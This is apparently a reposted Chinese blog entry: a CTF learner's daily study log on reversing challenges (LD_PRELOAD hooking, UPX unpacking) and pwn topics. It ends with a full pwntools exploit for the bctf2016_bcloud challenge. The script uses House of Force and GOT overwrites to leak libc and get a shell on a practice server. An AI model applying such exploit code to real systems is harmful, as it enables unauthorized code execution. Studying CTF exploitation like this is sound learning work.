21 08 07学习总结

21.08.07学习总结

Column: August 7, 2021
Tags: learning experience

09:00-11:00: xman爆零

17:00-00:00: buu刷题+re入门:

    re入门: 夜影大哥说哪个有兴趣就先学啥, 好耶!

        Linux Re: 主要学了LD_PRELOAD那一块, 别的那几篇wiki因为没例题, 所以也还没细究

            hitb_Bin_100: 考察对time(), sleep(), srand()和rand()的理解, 经过我的实验, time(0)生成的数是会被sleep()控制的, 而生成数作为随机数种子会控制rand产生的伪随机数, 但是由于是伪随机数, 所以我们只要做到让随机数种子time(0)的时间间隔保持一致即可, 所以这题在patch完printf之后, 就是写个so文件, 然后保持每次获得的time是以1进行递增即可, 而wiki上的static int sec不一定要等于那个数, 随便啥都可以, 只要做到sleep之后sec能稳定加上sleep参数即可, 然后, LD_PRELOAD加载的so里, 若是出现和动态库中重名的函数, 则会覆盖动态库对应函数

        Windows Re: 主要是buu刷题, 感觉除了新年快乐那题, 暂时碰到的题目都是靠pwn基础就能录出来

            easyre: shift+f12

            reverse1: Windows反汇编出来的看着不习惯, 主要前面有’o’换’0’, 其它就是58i64这种东西表示int64

            reverse2: 和上题差不多

            内涵的软件: 白给, 不晓得存在的意义

            新年快乐: 有个upx的壳, 用upx脱壳就行了

Pwn:

    xman_2019_format: 堆上的格式化字符串漏洞, 导致无法向栈上直接写地址, 只要找栈上的二级指针打, 改写改写就行了, 但是由于strtok的存在, 我的exp一直打不通, 不晓得为什么…反正以后碰到了会做了, 也算是晓得为什么nep入群面试会问这玩意了, 了解二级指针(或者说跳板)

    bctf2016_bcloud: hof的例题, 复习了一下原理然后就自己做了遍, 不得不说改got表调用输出的题目好久不见了, 蛮经典的, 准备以后出一道玩玩, hof的原理就是用负数啥的改topchunk到自己想要的地址, 之所以要控制topchunk的大小为很大, 主要是为了改地址的时候防止mmap申请堆大小(没给libc, 浪费了好久时间, 抗议!)

exp:

bctf2016_bcloud:这是我自己写的, 建议写个用libcsearcher的

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#sh=process('./bcloud')
sh=remote('node4.buuoj.cn', 25223)
elf=ELF('./bcloud')
#context.log_level='debug'
context.binary=elf
libc=elf.libc
#libc=ELF('./libc-2.23 (2).so')

def add(length, content):
    sh.recv()
    sh.sendline('1')
    sh.recv()
    sh.sendline(str(length))
    sh.recv()
    sh.sendline(content)

def edit(idx, content):
    sh.recv()
    sh.sendline('3')
    sh.recv()
    sh.sendline(str(idx))
    sh.recv()
    sh.sendline(content)

def delete(idx):
    sh.recv()
    sh.sendline('4')
    sh.recv()
    sh.sendline(str(idx))

#gdb.attach(sh, '''b *0x08048B5B \n x/40wx 0x804b098 ''')
sh.recv()
sh.send('a'*0x40)
sh.recvuntil('a'*0x40)
leak_heap=u32(sh.recv(4))
log.success('heap base: '+hex(leak_heap-8))
heap_base=leak_heap-8
sh.send('w'*0x40)
sh.recv()
sh.sendline(p32(0xffffffff))
target_addr=0x804b098
topchunk_addr=heap_base+0xd8
add(target_addr-topchunk_addr-8, 'wwww')#0
add(0x200, p32(0x300)+p32(0x300))#1
[add(0x20, p32(0x0)) for i in range(4)]#234
edit(4, '/bin/sh\x00'*2)
edit(1, p32(0x300)*2+p32(0x20)*3+p32(0)*(3+6*4)+p32(0x82fe0e0)\
     +p32(0x804b0a0)+p32(elf.got['free'])+p32(elf.got['atoi'])*2)
edit(2, p32(elf.plt['puts']))
delete(3)
atoi_addr=u32(sh.recv(4))
libc_base=atoi_addr-libc.sym['atoi']
log.success('libc base: '+hex(libc_base))
edit(2, p32(libc_base+libc.sym['system']))
#delete(5)
#gdb.attach(sh, '''b *0x08048B5B \n x/40wx 0x804b098 ''')
sh.interactive()

明日:

整理一下ctf套路, 把前几天写的写题目exp丢出来, 然后2re2pwn, 再学个内核uaf吧

おすすめ

転載: blog.csdn.net/eeeeeight/article/details/119470831